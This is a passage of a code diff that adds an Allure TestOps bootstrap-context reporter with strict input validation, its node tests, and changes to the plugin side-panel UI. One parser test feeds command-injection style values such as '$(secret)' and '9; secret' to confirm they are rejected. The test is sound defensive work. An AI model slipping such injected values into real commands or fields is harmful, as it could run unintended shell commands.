BootstrapContextFailure extends Error {} +const rejectBootstrapContext = () => { throw new BootstrapContextFailure('chat_testops_bootstrap_context_invalid'); }; + +export function parseOfficialBootstrapContext(stdout) { + if (typeof stdout !== 'string' || Buffer.byteLength(stdout) > 16_384) rejectBootstrapContext(); + const values = new Map(); + for (const line of stdout.split(/\r?\n/)) { + for (const name of ['ALLURE_JOB_RUN_ID', 'ALLURE_LAUNCH_ID']) { + if (!line.startsWith(`${name}=`)) continue; + const value = line.slice(name.length + 1); + if (values.has(name) || !/^[1-9][0-9]{0,15}$/.test(value) || !Number.isSafeInteger(Number(value))) rejectBootstrapContext(); + values.set(name, value); + } + } + if (values.size !== 2) rejectBootstrapContext(); + return { jobRunId: values.get('ALLURE_JOB_RUN_ID'), launchId: Number(values.get('ALLURE_LAUNCH_ID')) }; +} + +async function captureBootstrapContext(env, fetchImpl, execImpl) { + let stateRoot; + try { + if (env.ALLURE_ENDPOINT !== endpoint || env.ALLURE_PROJECT_ID !== '1' || !env.RUNNER_TEMP + || !env.GITHUB_WORKSPACE || !path.isAbsolute(env.GITHUB_WORKSPACE) || !env.GITHUB_EVENT_PATH) rejectBootstrapContext(); + const eventStat = await lstat(env.GITHUB_EVENT_PATH); + if (!eventStat.isFile() || eventStat.isSymbolicLink() || eventStat.nlink !== 1 || eventStat.size > 65_536) rejectBootstrapContext(); + const event = JSON.parse(await readFile(env.GITHUB_EVENT_PATH, 'utf8')); + if (!event.inputs || Object.keys(event.inputs).some(key => !['operation', 'ALLURE_JOB_RUN_ID', 'ALLURE_USERNAME'].includes(key)) + || event.inputs.operation !== 'bootstrap' || (event.inputs.ALLURE_JOB_RUN_ID ?? '') !== '') rejectBootstrapContext(); + const requested = path.join(await realpath(env.RUNNER_TEMP), 'chat-testops-bootstrap-state'); + const stateStat = await lstat(requested); + if (!stateStat.isDirectory() || stateStat.isSymbolicLink() || await realpath(requested) !== requested + || process.getuid && stateStat.uid !== process.getuid() || stateStat.mode & 0o077) rejectBootstrapContext(); + stateRoot = requested; + for (const name of ['registration.json', 'registration-failure.json']) { + try { await lstat(path.join(stateRoot, name)); rejectBootstrapContext(); } + catch (error) { if (error.code !== 'ENOENT') throw error; } + } + let output; + try { + output = await execImpl('allurectl', ['job-run', 'env'], { cwd: await realpath(env.GITHUB_WORKSPACE), env, + shell: false, encoding: 'utf8', timeout: 30_000, maxBuffer: 16_384, windowsHide: true }); + } catch { throw new BootstrapContextFailure('chat_testops_bootstrap_command_failed'); } + const captured = parseOfficialBootstrapContext(output.stdout); + const api = await testopsClient(env.ALLURE_TOKEN, fetchImpl); + const registration = await bootstrapJobMetadata(api, { ...env, ALLURE_JOB_RUN_ID: captured.jobRunId }, captured.launchId); + await writeFile(path.join(stateRoot, 'registration.json'), JSON.stringify(registration, null, 2), { flag: 'wx', mode: 0o600 }); + return 0; + } catch (error) { + const safe = error instanceof BootstrapContextFailure + ? { stage: 'bootstrap_context', code: error.message, httpStatus: null } + : failureProjection(error, 'bootstrap_context'); + if (stateRoot) await writeFile(path.join(stateRoot, 'registration-failure.json'), JSON.stringify(safe, null, 2), { flag: 'wx', mode: 0o600 }).catch(() => {}); + process.stderr.write(`Chat TestOps bootstrap context stopped: ${JSON.stringify(safe)}\n`); + return 1; + } +} + +export async function reporter(command, argument, env = process.env, fetchImpl = fetch, execImpl = officialExec) { publicContext(env); + if (command === 'bootstrap-context') return captureBootstrapContext(env, fetchImpl, execImpl); if (command === 'verify-selection') { if (Object.hasOwn(env, 'ALLURE_TOKEN')) fail(); await verifySelectionFile(argument, env); diff --git a/tests/runner-e2e/testops-chat-reporter.test.mjs b/tests/runner-e2e/testops-chat-reporter.test.mjs index 3c99400867e..9e982d66f62 100644 --- a/tests/runner-e2e/testops-chat-reporter.test.mjs +++ b/tests/runner-e2e/testops-chat-reporter.test.mjs @@ -1,10 +1,10 @@ import test from 'node:test'; import assert from 'node:assert/strict'; import { createHash } from 'node:crypto'; -import { mkdtemp, mkdir, readFile, realpath, rm, writeFile } from 'node:fs/promises'; +import { mkdtemp, mkdir, readFile, realpath, rm, writeFile, chmod } from 'node:fs/promises'; import { tmpdir } from 'node:os'; import path from 'node:path'; -import { verifySelectionFile, reporter } from './testops-chat-reporter.mjs'; +import { verifySelectionFile, reporter, parseOfficialBootstrapContext } from './testops-chat-reporter.mjs'; import { executionId, scenario, fullName } from './chat-feature-testops-api.mjs'; const context = { GITHUB_REPOSITORY: 'paperclipai/paperclip', GITHUB_REF: 'refs/heads/master', GITHUB_EVENT_NAME: 'workflow_dispatch', GITHUB_RUN_ATTEMPT: '1', GITHUB_SHA: 'a'.repeat(40), GITHUB_RUN_ID: '123', ALLURE_JOB_RUN_ID: '9', @@ -136,3 +136,141 @@ test('actual launch caller rejects five own-run contradictions before TestOps au } } finally { process.stderr.write = original; } }); + +async function bootstrapContextFixture(t, inputs = { operation: 'bootstrap', ALLURE_JOB_RUN_ID: '' }) { + const f = await fixture(t), workspace = f.env.GITHUB_WORKSPACE; + const temporary = path.join(workspace, 'temp'); await mkdir(temporary); + const state = path.join(temporary, 'chat-testops-bootstrap-state'); await mkdir(state, { mode: 0o700 }); + const originalJob = Buffer.from('{"status":"official_job_run_id_missing","actualResult":null}'); + await writeFile(path.join(state, 'job.json'), originalJob, { mode: 0o600 }); + const event = path.join(workspace, 'event.json'); await writeFile(event, JSON.stringify({ inputs })); + return { ...f, state, originalJob, env: { ...f.env, RUNNER_TEMP: temporary, GITHUB_EVENT_PATH: event, ALLURE_JOB_RUN_ID: '', + ALLURE_ENDPOINT: 'https://paperclip.testops.cloud', ALLURE_PROJECT_ID: '1', ALLURE_TOKEN: 'SYNTHETIC_REPORTER_TOKEN', CHAT_TESTOPS_GITHUB_WORKFLOW_ID: '99' } }; +} +function bootstrapContextFetch(change = {}) { + const calls = []; + const fetchImpl = async (url, options) => { + const route = new URL(url).pathname; calls.push({ route, method: options.method }); + let value; + if (route === '/api/uaa/oauth/token') { assert.equal(options.method, 'POST'); value = { access_token: 'SYNTHETIC_ACCESS' }; } + else { + assert.equal(options.method, 'GET'); + if (route === '/api/jobrun/9') value = { id: 9, job: { id: 7, type: 'github' }, launchId: 10, + url: 'https://github.com/paperclipai/paperclip/actions/runs/123', ...change }; + else if (route === '/api/launch/10') value = { id: 10, projectId: 1 }; + else if (route === '/api/job/7') value = { id: 7, type: 'github', url: 'https://github.com/paperclipai/paperclip/actions/workflows/99', + parameters: [{ id: 17, value: 'bootstrap' }] }; + else if (route === '/api/environment/17') value = { id: 17, name: 'operation' }; + else assert.fail(route); + } + return { ok: true, status: 200, json: async () => value, text: async () => JSON.stringify(value) }; + }; + return { fetchImpl, calls }; +} +async function captureSafeErrors(callback) { + const original = process.stderr.write; + let text = ''; + process.stderr.write = chunk => { text += String(chunk); return true; }; + try { return { value: await callback(), text }; } finally { process.stderr.write = original; } +} + +test('official context parser admits only unique positive numeric job-run and launch assignments', () => { + const text = 'ALLURE_TOKEN=SYNTHETIC_SECRET\nALLURE_JOB_RUN_URL=untrusted\nALLURE_JOB_RUN_ID=9\r\nALLURE_LAUNCH_ID=10\n'; + assert.deepEqual(parseOfficialBootstrapContext(text), { jobRunId: '9', launchId: 10 }); + for (const text of ['', 'ALLURE_JOB_RUN_ID=9\n', 'ALLURE_JOB_RUN_ID=0\nALLURE_LAUNCH_ID=10', + 'ALLURE_JOB_RUN_ID=9\nALLURE_LAUNCH_ID=10\nALLURE_JOB_RUN_ID=9', 'ALLURE_JOB_RUN_ID=9\nALLURE_LAUNCH_ID=$(secret)', + 'ALLURE_JOB_RUN_ID=9007199254740992\nALLURE_LAUNCH_ID=10', 'ALLURE_JOB_RUN_ID=9; secret\nALLURE_LAUNCH_ID=10', 'x'.repeat(16_385)]) { + assert.throws(() => parseOfficialBootstrapContext(text), /chat_testops_bootstrap_context_invalid/); + } +}); + +test('post-watch facade runs exact official command with bounded pipes and preserves original missing-child artifact', async t => { + const f = await bootstrapContextFixture(t), server = bootstrapContextFetch(); let executions = 0; + const execImpl = async (command, args, options) => { + executions++; assert.equal(command, 'allurectl'); assert.deepEqual(args, ['job-run', 'env']); + assert.equal(options.shell, false); assert.equal(options.timeout, 30_000); assert.equal(options.maxBuffer, 16_384); + assert.equal(options.encoding, 'utf8'); assert.equal(options.cwd, f.env.GITHUB_WORKSPACE); assert.equal(options.env, f.env); + return { stdout: 'ALLURE_TOKEN=SYNTHETIC_SECRET\nALLURE_JOB_RUN_ID=9\nALLURE_LAUNCH_ID=10\n', stderr: 'SYNTHETIC_SECRET_STDERR' }; + }; + assert.equal(await reporter('bootstrap-context', undefined, f.env, server.fetchImpl, execImpl), 0); + const bytes = await readFile(path.join(f.state, 'registration.json')); + const result = JSON.parse(bytes); + assert.equal(result.schema, 'paperclip.chat-feature-testops-bootstrap-registration/v1'); + assert.equal(result.jobId, 7); assert.equal(result.allureJobRunId, '9'); assert.equal(result.launchId, 10); + assert.equal(result.runId, '123'); assert.equal(result.workflowSha, context.GITHUB_SHA); assert.equal(result.targetSha, context.GITHUB_SHA); + assert.equal(result.currentRunUrlMatches, true); assert.equal(result.publicWorkflowMatches, true); + assert.equal(result.capturedAfterWatch, true); assert.equal(result.runnableBindingQualified, false); assert.equal(result.actualResult, null); + assert.deepEqual(result.parameters, [{ id: 17, name: 'operation', value: 'bootstrap' }]); + assert.ok(!bytes.toString().includes('SYNTHETIC')); assert.equal(f.env.ALLURE_JOB_RUN_ID, ''); + assert.deepEqual(await readFile(path.join(f.state, 'job.json')), f.originalJob); + const second = await captureSafeErrors(() => reporter('bootstrap-context', undefined, f.env, () => assert.fail('no second auth'), () => assert.fail('no second CLI'))); + assert.equal(second.value, 1); assert.equal(executions, 1); + assert.deepEqual(await readFile(path.join(f.state, 'registration.json')), bytes); + assert.equal(server.calls.filter(row => row.method === 'POST').length, 1); + assert.equal(server.calls[0].route, '/api/uaa/oauth/token'); +}); + +test('post-watch missing official IDs fails closed without API auth or invented registration', async t => { + const f = await bootstrapContextFixture(t); + const result = await captureSafeErrors(() => reporter('bootstrap-context', undefined, f.env, () => assert.fail('no API'), + async () => ({ stdout: 'ALLURE_TOKEN=SYNTHETIC_SECRET\n', stderr: 'PRIVATE_STDERR' }))); + assert.equal(result.value, 1); assert.ok(!result.text.includes('SYNTHETIC')); assert.ok(!result.text.includes('PRIVATE')); + assert.equal(JSON.parse(await readFile(path.join(f.state, 'registration-failure.json'))).code, 'chat_testops_bootstrap_context_invalid'); + await assert.rejects(readFile(path.join(f.state, 'registration.json')), { code: 'ENOENT' }); +}); + +test('post-watch command errors discard stdout stderr and raw exception without retry or API', async t => { + const f = await bootstrapContextFixture(t); let calls = 0; + const result = await captureSafeErrors(() => reporter('bootstrap-context', undefined, f.env, () => assert.fail('no API'), async () => { + calls++; throw Object.assign(new Error('SYNTHETIC_PRIVATE_EXCEPTION'), { stdout: 'SYNTHETIC_PRIVATE_STDOUT', stderr: 'SYNTHETIC_PRIVATE_STDERR' }); + })); + assert.equal(result.value, 1); assert.equal(calls, 1); assert.ok(!result.text.includes('SYNTHETIC')); + assert.equal(JSON.parse(await readFile(path.join(f.state, 'registration-failure.json'))).code, 'chat_testops_bootstrap_command_failed'); +}); + +test('post-watch wrong original operation or extra source input stops before official command and auth', async t => { + for (const inputs of [{ operation: 'evaluate' }, { operation: 'launch-plan' }, { operation: 'bootstrap', ALLURE_JOB_RUN_ID: '9' }, { operation: 'bootstrap', model: 'foreign/model' }]) { + const f = await bootstrapContextFixture(t, inputs); + const result = await captureSafeErrors(() => reporter('bootstrap-context', undefined, f.env, () => assert.fail('no API'), () => assert.fail('no CLI'))); + assert.equal(result.value, 1); + } +}); + +test('post-watch foreign backend binding returns safe nonzero and preserves original job evidence', async t => { + const f = await bootstrapContextFixture(t), server = bootstrapContextFetch({ url: 'https://github.com/paperclipai/paperclip/actions/runs/999' }); + const result = await captureSafeErrors(() => reporter('bootstrap-context', undefined, f.env, server.fetchImpl, + async () => ({ stdout: 'ALLURE_JOB_RUN_ID=9\nALLURE_LAUNCH_ID=10\n' }))); + assert.equal(result.value, 1); assert.equal(JSON.parse(await readFile(path.join(f.state, 'registration-failure.json'))).code, 'chat_testops_jobrun_mismatch'); + assert.deepEqual(await readFile(path.join(f.state, 'job.json')), f.originalJob); +}); + +test('bootstrap workflow captures official context only after watch and retains exactly named closed receipts', async () => { + const workflow = await readFile(new URL('../../.github/workflows/chat-feature-testops.yml', import.meta.url), 'utf8'); + const start = workflow.indexOf(' - name: Register the public job without an evaluation or a synthetic result'); + const end = workflow.indexOf(' - name: Validate the one real TestOps selection', start); + const step = workflow.slice(start, end); + assert.ok(step.includes("if: needs.authorize.outputs.operation == 'bootstrap'")); + assert.match(step, /allurectl watch -- node tests\/runner-e2e\/testops-chat-reporter\.mjs bootstrap\n\s+node tests\/runner-e2e\/testops-chat-reporter\.mjs bootstrap-context/); + assert.equal((step.match(/allurectl watch/g) ?? []).length, 1); assert.ok(!step.includes('continue-on-error')); + assert.ok(workflow.includes('${{ runner.temp }}/chat-testops-bootstrap-state/registration.json')); + assert.ok(workflow.includes('${{ runner.temp }}/chat-testops-bootstrap-state/registration-failure.json')); +}); + +test('post-watch refuses nonprivate state custody before any command auth or receipt write', async t => { + const f = await bootstrapContextFixture(t); await chmod(f.state, 0o755); + const result = await captureSafeErrors(() => reporter('bootstrap-context', undefined, f.env, () => assert.fail('no API'), () => assert.fail('no CLI'))); + assert.equal(result.value, 1); + await assert.rejects(readFile(path.join(f.state, 'registration.json')), { code: 'ENOENT' }); + await assert.rejects(readFile(path.join(f.state, 'registration-failure.json')), { code: 'ENOENT' }); + assert.deepEqual(await readFile(path.join(f.state, 'job.json')), f.originalJob); +}); + +test('post-watch authentication failure retains only fixed HTTP diagnostic and never reads body', async t => { + const f = await bootstrapContextFixture(t); let calls = 0; + const result = await captureSafeErrors(() => reporter('bootstrap-context', undefined, f.env, async () => { + calls++; return { ok: false, status: 403, json: () => assert.fail('no auth body read'), text: () => assert.fail('no auth body read') }; + }, async () => ({ stdout: 'ALLURE_JOB_RUN_ID=9\nALLURE_LAUNCH_ID=10\n' }))); + assert.equal(result.value, 1); assert.equal(calls, 1); + const failure = JSON.parse(await readFile(path.join(f.state, 'registration-failure.json'))); + assert.deepEqual(failure, { stage: 'bootstrap_context', code: 'testops_auth_http', httpStatus: 403 }); +}); diff --git a/ui/src/api/companySkills.ts b/ui/src/api/companySkills.ts index 9b671d57038..1dce6f3e95b 100644 --- a/ui/src/api/companySkills.ts +++ b/ui/src/api/companySkills.ts @@ -193,7 +193,7 @@ export const companySkillsApi = { api.get( `/companies/${encodeURIComponent(companyId)}/skills/${encodeURIComponent(skillId)}/files?path=${encodeURIComponent(relativePath)}`, ), - updateFile: (companyId: string, skillId: string, path: string, content: string, format: Pick = {}) => + updateFile: (companyId: string, skillId: string, path: string, content: string, format: Pick & { expectedVersionId?: string | null } = {}) => api.patch( `/companies/${encodeURIComponent(companyId)}/skills/${encodeURIComponent(skillId)}/files`, { path, content, ...format }, diff --git a/ui/src/components/AgentLifecycleStatus.test.tsx b/ui/src/components/AgentLifecycleStatus.test.tsx index e2fe7baf497..0162f4c62ff 100644 --- a/ui/src/components/AgentLifecycleStatus.test.tsx +++ b/ui/src/components/AgentLifecycleStatus.test.tsx @@ -26,6 +26,12 @@ it.each([undefined, "ready", "paused", "pending_approval", "terminated", "reject expect(agentLifecycleRefetchInterval(lifecycleState)).toBe(30_000); }); +it("does not promise automatic retry of a failed configuration check", () => { + const html = renderToStaticMarkup( {}} retryPending={false} />); + expect(html).toContain("Retry now"); + expect(html).not.toContain("Paperclip retries automatically"); +}); + it("retries a failed step once while pending and removes the failure after recovery", async () => { const container = document.createElement("div"); const root = createRoot(container); diff --git a/ui/src/components/AgentLifecycleStatus.tsx b/ui/src/components/AgentLifecycleStatus.tsx index 65998141514..622281a8ca7 100644 --- a/ui/src/components/AgentLifecycleStatus.tsx +++ b/ui/src/components/AgentLifecycleStatus.tsx @@ -64,6 +64,8 @@ export function AgentLifecycleStatus({ agent, onRetry, retryPending, refreshErro {retryPending ? "Retrying…" : "Retry now"} } - {phase && agent.lifecycleError &&

Paperclip retries automatically; Retry now checks again immediately.

} + {phase && agent.lifecycleError &&

{agent.lifecycleState === "verifying" + ? "Retry now checks the saved configuration again immediately." + : "Paperclip retries automatically; Retry now checks again immediately."}

} ; } diff --git a/ui/src/components/task-side-panel/TaskSidePanel.test.tsx b/ui/src/components/task-side-panel/TaskSidePanel.test.tsx index 10d3caac361..0e9fe399d49 100644 --- a/ui/src/components/task-side-panel/TaskSidePanel.test.tsx +++ b/ui/src/components/task-side-panel/TaskSidePanel.test.tsx @@ -11,6 +11,7 @@ import { taskPanelArtifactsTab, taskPanelDocumentTab, taskPanelPropertiesTab, + taskPanelPluginTab, readTaskSidePanelState, writeTaskSidePanelState, } from "@/lib/task-side-panel-state"; @@ -28,12 +29,9 @@ class ResizeObserverStub { (globalThis as { ResizeObserver?: typeof ResizeObserver }).ResizeObserver = ResizeObserverStub as unknown as typeof ResizeObserver; vi.mock("@/plugins/slots", () => ({ - PluginSlotMount: ({ context }: { context: { entityId: string } }) =>
Plugin viewer {context.entityId}
, + PluginSlotMount: ({ context }: { context: { entityId: string } }) =>
Plugin viewer {context.entityId}
, })); -vi.mock("@/hooks/useTaskPluginPanels", () => ({ - taskPluginPanelId: (panel: TaskPluginPanel) => `plugin:${panel.slot.pluginKey}:${panel.slot.id}:${panel.entityId}`, -})); -const pluginPanel = { entityId: "33333333-3333-4333-8333-333333333333", runId: "run-1", slot: { pluginKey: "example.live-view", id: "screen", displayName: "Live view" } } as TaskPluginPanel; +const pluginPanel = { entityId: "33333333-3333-4333-8333-333333333333", runId: "run-1", autoOpen: true, slot: { pluginKey: "example.live-view", id: "screen", displayName: "Live view" } } as TaskPluginPanel; const browserFixture = vi.hoisted(() => ({ data: [] as import("@paperclipai/shared").TaskBrowser[], viewer: vi.fn(async () => ({ url: "https://live.browser-use.com/test-viewer" })), control: vi.fn(async () => ({})) })); vi.mock("@/hooks/useTaskBrowsers", () => ({ useTaskBrowsers: () => ({ data: browserFixture.data, isError: false }) })); vi.mock("@/api/browser-use", () => ({ browserUseApi: { viewer: browserFixture.viewer, control: browserFixture.control, presence: vi.fn(async () => ({ accepted: true })) } })); @@ -194,6 +192,50 @@ describe("TaskSidePanel", () => { ); } + it("offers idle plugin views in the launcher without opening them automatically", async () => { + await render(panel({ pluginPanels: [{ ...pluginPanel, runId: undefined, autoOpen: false }] })); + expect(container.textContent).not.toContain("Plugin viewer"); + expect(container.querySelector('[data-side-panel-tab-target^="plugin:"]')).toBeNull(); + await act(async () => container.querySelector('button[aria-label="Open a new tab"]')?.click()); + const item = Array.from(document.body.querySelectorAll('[role="option"]')) + .find(item => item.textContent?.includes("Live view")); + expect(item).not.toBeUndefined(); + await act(async () => item!.click()); + expect(container.textContent).toContain(`Plugin viewer ${pluginPanel.entityId}`); + }); + + it.each([false, true])("restores a saved manual view after discovery (different assignee=%s)", async differentAssignee => { + const tab = taskPanelPluginTab(pluginPanel); + writeTaskSidePanelState("user-1", "company-1", "task-1", { + state: { tabs: [tab], activeTabId: tab.id }, + launcherOpen: false, userInteracted: true, autoPlanHandled: false, updatedAt: 1, + }); + await render(panel({ pluginPanels: differentAssignee + ? [{ ...pluginPanel, entityId: "assigned-agent", runId: undefined, autoOpen: false }] : [], pluginPanelsLoading: true })); + expect(container.querySelector('[data-side-panel-tab-target^="plugin:"]')).not.toBeNull(); + expect(container.textContent).not.toContain("Plugin viewer"); + await render(panel({ pluginPanels: [{ ...pluginPanel, runId: undefined, autoOpen: false }] })); + expect(container.textContent).toContain(`Plugin viewer ${pluginPanel.entityId}`); + await render(panel({ pluginPanels: [] })); + expect(container.querySelector('[data-side-panel-tab-target^="plugin:"]')).toBeNull(); + }); + + it("focuses an already open manual panel when activity starts and keeps it mounted after the run", async () => { + const manual = { ...pluginPanel, autoOpen: false }; + await render(panel({ pluginPanels: [manual] })); + await act(async () => container.querySelector('button[aria-label="Open a new tab"]')?.click()); + const item = Array.from(document.body.querySelectorAll('[role="option"]')) + .find(item => item.textContent?.includes("Live view")); + await act(async () => item!.click()); + await act(async () => container.querySelector('#side-panel-tab-properties')?.click()); + await render(panel({ pluginPanels: [pluginPanel] })); + expect(container.querySelector('[role="tab"][aria-selected="true"]')?.textContent).toContain("Live view"); + const viewer = container.querySelector("[data-plugin-viewer]"); + expect(viewer).not.toBeNull(); + await render(panel({ pluginPanels: [{ ...manual, runId: undefined }] })); + expect(container.querySelector("[data-plugin-viewer]")).toBe(viewer); + }); + it("adds the active plugin panel, preserves manual dismissal, and removes inactive plugin panels", async () => { await render(panel({ pluginPanels: [pluginPanel] })); expect(container.querySelector('[role="tab"][aria-selected="true"]')?.textContent).toContain("Live view"); diff --git a/ui/src/components/task-side-panel/TaskSidePanel.tsx b/ui/src/components/task-side-panel/TaskSidePanel.tsx index 372b82cb6a1..ae370762feb 100644 --- a/ui/src/components/task-side-panel/TaskSidePanel.tsx +++ b/ui/src/components/task-side-panel/TaskSidePanel.tsx @@ -3,7 +3,7 @@ import { useCoordinatorWorkspaceEnabled } from "@/hooks/useCoordinatorWorkspaceE import { TextAttachmentContext } from "@/context/TextAttachmentContext"; import { TaskAttachmentPanel } from "./TaskAttachmentPanel"; import { useTaskBrowsers } from "@/hooks/useTaskBrowsers"; -import { taskPluginPanelId, type TaskPluginPanel } from "@/hooks/useTaskPluginPanels"; +import { taskPluginPanelActivationKey, taskPluginPanelId, type TaskPluginPanel } from "@/hooks/useTaskPluginPanels"; import { PluginSlotMount } from "@/plugins/slots"; import { TaskBrowserPanel } from "./TaskBrowserPanel"; import { @@ -102,6 +102,7 @@ import { TaskSkillPanel } from "./TaskSkillPanel"; export interface TaskSidePanelProps { issue: Issue; pluginPanels?: TaskPluginPanel[]; + pluginPanelsLoading?: boolean; openedPluginPanelKeys?: Set; dismissedPluginPanelKeys?: Set; openBrowserId?: string | null; @@ -258,6 +259,7 @@ export function TaskSidePanel(props: TaskSidePanelProps) { function TaskSidePanelForScope({ pluginPanels = EMPTY_PLUGIN_PANELS, + pluginPanelsLoading = false, openedPluginPanelKeys, dismissedPluginPanelKeys, openBrowserId, @@ -371,22 +373,23 @@ function TaskSidePanelForScope({ const openedPluginPanels = openedPluginPanelKeys ?? localOpenedPluginPanels.current; const localDismissedPluginPanels = useRef(new Set()); const dismissedPluginPanels = dismissedPluginPanelKeys ?? localDismissedPluginPanels.current; - const pluginPanelKey = useCallback((panel: TaskPluginPanel) => JSON.stringify([accountScope, issue.companyId, issue.id, panel.runId, taskPluginPanelId(panel)]), [accountScope, issue.companyId, issue.id]); + const pluginPanelKey = useCallback((panel: TaskPluginPanel) => taskPluginPanelActivationKey(panel, accountScope, issue), [accountScope, issue.companyId, issue.id]); useEffect(() => { const ids = new Set(pluginPanels.map(taskPluginPanelId)); for (const tab of controller.tabs) { - if (tab.payload.kind === "plugin-panel" && !ids.has(tab.id)) controller.closeTab(tab.id); + if (!pluginPanelsLoading && tab.payload.kind === "plugin-panel" && !ids.has(tab.id)) controller.closeTab(tab.id); } for (const panel of pluginPanels) { + if (!panel.autoOpen || !panel.runId) continue; const key = pluginPanelKey(panel); if (dismissedPluginPanels.has(key)) continue; const firstArrival = !openedPluginPanels.has(key); openedPluginPanels.add(key); - if (controller.tabs.some(tab => tab.id === taskPluginPanelId(panel))) continue; + if (!firstArrival && controller.tabs.some(tab => tab.id === taskPluginPanelId(panel))) continue; if (firstArrival) setLauncherOpen(false); controller.openTab(taskPanelPluginTab(panel), firstArrival); } - }, [dismissedPluginPanels, openedPluginPanels, pluginPanelKey, pluginPanels, controller.tabs, controller.closeTab, controller.openTab]); + }, [dismissedPluginPanels, openedPluginPanels, pluginPanelKey, pluginPanels, pluginPanelsLoading, controller.tabs, controller.closeTab, controller.openTab]); const browsersQuery = useTaskBrowsers(issue.id); const newestLiveBrowser = browsersQuery.data?.findLast((browser) => browser.status === "running" || browser.status === "idle"); useEffect(() => { @@ -799,7 +802,7 @@ function TaskSidePanelForScope({ } else if (activeTab.payload.kind === "plugin-panel") { const panel = pluginPanels.find(panel => taskPluginPanelId(panel) === activeTab.id); content = panel ? ( - + ) : null; } else if (activeTab.payload.kind === "properties") { content = ( diff --git a/ui/src/hooks/useTaskPluginPanels.test.tsx b/ui/src/hooks/useTaskPluginPanels.test.tsx index 9e7e4212512..c013137a057 100644 --- a/ui/src/hooks/useTaskPluginPanels.test.tsx +++ b/ui/src/hooks/useTaskPluginPanels.test.tsx @@ -13,20 +13,27 @@ import type { ResolvedPluginSlot } from "@/plugins/slots"; import { useTaskPluginPanels, type TaskPluginPanel } from "./useTaskPluginPanels"; (globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }).IS_REACT_ACT_ENVIRONMENT = true; -const plugin = vi.hoisted(() => ({ connected: true, slots: [] as ResolvedPluginSlot[], healthy: true, epoch: 0, handler: null as ((event: LiveEvent) => void) | null, errorMessage: null as string | null })); +const plugin = vi.hoisted(() => ({ connected: true, slots: [] as ResolvedPluginSlot[], healthy: true, epoch: 0, handler: null as ((event: LiveEvent) => void) | null, errorMessage: null as string | null, isLoading: false })); vi.mock("@/plugins/slots", () => ({ usePluginSlots: () => plugin })); vi.mock("@/context/LiveUpdatesProvider", () => ({ useTaskRunLiveUpdates: vi.fn(() => plugin.connected), useTranscriptLiveStream: (_ids: string[], _options: unknown, handler: (event: LiveEvent) => void) => { plugin.handler = handler; return { healthy: plugin.healthy, epoch: plugin.epoch }; } })); const slot = { pluginId: "example-plugin", pluginKey: "example.live-view", id: "screen", pluginVersion: "1.0.0", taskSidePanel: { availabilityPath: "/agents/:entityId/view/availability", activation: { namespace: "example.runtime", activityKey: "desktop.used" } } } as ResolvedPluginSlot; const issue = { id: "task", companyId: "company", executionRunId: "run", assigneeAgentId: "agent" } as Issue; const run = { id: "run", agentId: "agent", status: "running" } as LiveRunForIssue; let root: Root, container: HTMLDivElement, client: QueryClient; -let current: TaskPluginPanel[]; +let panels: TaskPluginPanel[]; +let loading: boolean; +let current: Omit[]; let task: Issue | null; let enabled: boolean; let get: MockInstance; let list: MockInstance; let history: MockInstance; -function Harness() { current = useTaskPluginPanels(task, enabled); return null; } +function Harness() { + const discovery = useTaskPluginPanels(task, enabled); + panels = discovery.panels; loading = discovery.isLoading; + current = panels.filter(panel => panel.autoOpen).map(({ autoOpen: _autoOpen, ...panel }) => panel); + return null; +} async function render(next: Issue | null = issue, active = true) { task = next; enabled = active; await act(async () => root.render()); @@ -37,7 +44,7 @@ async function refresh() { await act(async () => { if (vi.isFakeTimers()) await vi.advanceTimersByTimeAsync(30); else await new Promise(resolve => setTimeout(resolve, 30)); }); } beforeEach(() => { - plugin.slots = [slot]; plugin.errorMessage = null; plugin.connected = true; plugin.healthy = false; plugin.epoch = 0; plugin.handler = null; + plugin.slots = [slot]; plugin.isLoading = false; plugin.errorMessage = null; plugin.connected = true; plugin.healthy = false; plugin.epoch = 0; plugin.handler = null; client = new QueryClient({ defaultOptions: { queries: { retry: false } } }); container = document.createElement("div"); document.body.append(container); root = createRoot(container); get = vi.spyOn(api, "get").mockResolvedValue({ available: true }); @@ -47,6 +54,70 @@ beforeEach(() => { afterEach(async () => { await act(async () => root.unmount()); client.clear(); container.remove(); vi.restoreAllMocks(); vi.useRealTimers(); }); +it("keeps restored views pending until plugin discovery settles", async () => { + plugin.slots = []; plugin.isLoading = true; + await render(); expect(loading).toBe(true); expect(panels).toEqual([]); + plugin.slots = [slot]; plugin.isLoading = false; list.mockResolvedValue([]); + await render(); expect(loading).toBe(false); + expect(panels).toEqual([{ entityId: "agent", autoOpen: false, slot }]); +}); + +it.each(["assigned-agent", null])("waits for the running agent before settling saved views (assignee=%s)", async assigneeAgentId => { + const manual = { ...slot, taskSidePanel: { availabilityPath: slot.taskSidePanel!.availabilityPath } }; + plugin.slots = [manual]; + let resolve!: (value: LiveRunForIssue[]) => void; + list.mockReturnValueOnce(new Promise(done => { resolve = done; })); + await render({ ...issue, assigneeAgentId }); + expect(loading).toBe(true); + await act(async () => { resolve([{ ...run, agentId: "running-agent" }]); }); + await render({ ...issue, assigneeAgentId }); + expect(loading).toBe(false); + expect(panels).toEqual([{ entityId: "running-agent", runId: "run", autoOpen: false, slot: manual }]); +}); + +it("offers manual access while idle without reading activation history or readiness", async () => { + list.mockResolvedValue([]); + history.mockResolvedValue([]); + await render(); + expect(panels).toEqual([{ entityId: "agent", autoOpen: false, slot }]); + expect(history).not.toHaveBeenCalled(); + expect(get).not.toHaveBeenCalled(); +}); + +it("offers the assigned agent's view before activity and after run completion", async () => { + history.mockResolvedValue([]); + await render(); + expect(panels).toEqual([{ entityId: "agent", runId: "run", autoOpen: false, slot }]); + expect(get).not.toHaveBeenCalled(); + await act(async () => { client.setQueryData(queryKeys.issues.liveRuns("task"), []); }); + await render(); + expect(panels).toEqual([{ entityId: "agent", autoOpen: false, slot }]); +}); + +it("offers declared manual views without an activation mapping", async () => { + const manual = { ...slot, taskSidePanel: { availabilityPath: slot.taskSidePanel!.availabilityPath } }; + plugin.slots = [manual]; + await render(); + expect(panels).toEqual([{ entityId: "agent", runId: "run", autoOpen: false, slot: manual }]); + expect(list).toHaveBeenCalledWith("task"); + expect(history).not.toHaveBeenCalled(); + expect(get).not.toHaveBeenCalled(); +}); + +it("uses the running agent for manual views without an activity mapping", async () => { + const manual = { ...slot, taskSidePanel: { availabilityPath: slot.taskSidePanel!.availabilityPath } }; + plugin.slots = [manual]; list.mockResolvedValue([{ ...run, agentId: "running-agent" }]); + await render(); + expect(panels).toEqual([{ entityId: "running-agent", runId: "run", autoOpen: false, slot: manual }]); + 